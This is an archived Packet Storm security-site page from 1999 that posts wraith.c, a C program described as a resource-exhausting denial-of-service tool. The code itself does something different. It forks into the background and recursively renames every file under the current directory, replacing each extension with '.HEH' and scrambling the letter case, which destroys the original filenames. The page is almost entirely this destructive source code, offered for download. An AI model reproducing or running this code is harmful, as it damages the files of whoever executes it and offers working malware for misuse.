exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

wraith.c

wraith.c
Posted Jun 4, 1999
Authored by fred

Wraith.c - DoS which exhausts system resources.

tags | denial of service
SHA-256 | acb774279d1f66f743360fd7e465d73954190fd24d335120ab3828f7bf3a510c

wraith.c

Change Mirror Download
/* wraith.c coded by fred_ */

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#include <unistd.h>

char *c_file(char *filename)
{
int x, i;
static char buffer[256];

if (strstr(filename, ".") != NULL) {
for (x = 0; filename[x]; x++) {
if (filename[x] == '.')
break;

buffer[x] = filename[x];
}
buffer[x] = 0;
} else
strcpy((char *)buffer, filename);

for (x = 0, i = 1; buffer[x]; x++) {
if (i == 1) {
buffer[x] = toupper(buffer[x]);
i = 2;
} else if (i == 2) {
buffer[x] = tolower(buffer[x]);
i = 1;
} else
buffer[x] = buffer[x];
}

x = strlen(buffer);

buffer[x] = '.';
buffer[x + 1] = 'H';
buffer[x + 2] = 'E';
buffer[x + 3] = 'H';

return buffer;
}

int
isDir(char *name)
{
int ret;
struct stat *status;
struct stat s[1];

status = s;

ret = lstat(name, s);
if (ret == -1)
return 0;

return S_ISDIR(status->st_mode);
}

int
main(int argc, char *argv[])
{
char *exec;

if ((exec = (char *)malloc(256)) == NULL) {
printf("Not enough memory\n");
exit(1);
}

printf("starting wraith from the current working directory\n");

#ifndef DEBUG
printf("launching into the background..\n");
if (fork())
exit(1);
#endif

if (strstr(argv[0], "/") != NULL) {
exec = strrchr(argv[0], '/');
memmove(exec, exec + 1, strlen(exec));
} else
strcpy(exec, argv[0]);

modify_dir(".", exec);
}

int
modify_dir(char *directory, char *exec) {
char *buffer, *newfile;
struct dirent *files;
DIR *dp;

if ((buffer = (char *)malloc(256)) == NULL ||
(newfile = (char *)malloc(256)) == NULL) {
printf("Not enough memory.\n");
exit(1);
}

dp = opendir(directory);
while (1) {
bzero(buffer, 256);
bzero(newfile, 256);
if ((files = readdir(dp)) == NULL)
break;

if (!strcmp(files->d_name, ".") ||
!strcmp(files->d_name, ".."))
continue;

strncpy(buffer, files->d_name, 256);

if (!strcmp(exec, buffer))
continue;

if (isDir(buffer) == 1) {
#ifdef DEBUG
printf("Changing to directory: %s\n",
buffer);
#endif
if (chdir(buffer) == 0) {
modify_dir(".", exec);

#ifdef DEBUG
printf("Changing to parent directory\n");
#endif
if (chdir("..") == -1)
exit(1);
} else
continue;
}

newfile = c_file(buffer);

if (strlen(newfile) > 0) {
#ifdef DEBUG
printf("Modified %s to %s\n",
buffer, newfile);
#endif
if (rename(buffer, newfile) == -1)
continue;
}
}

closedir(dp);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close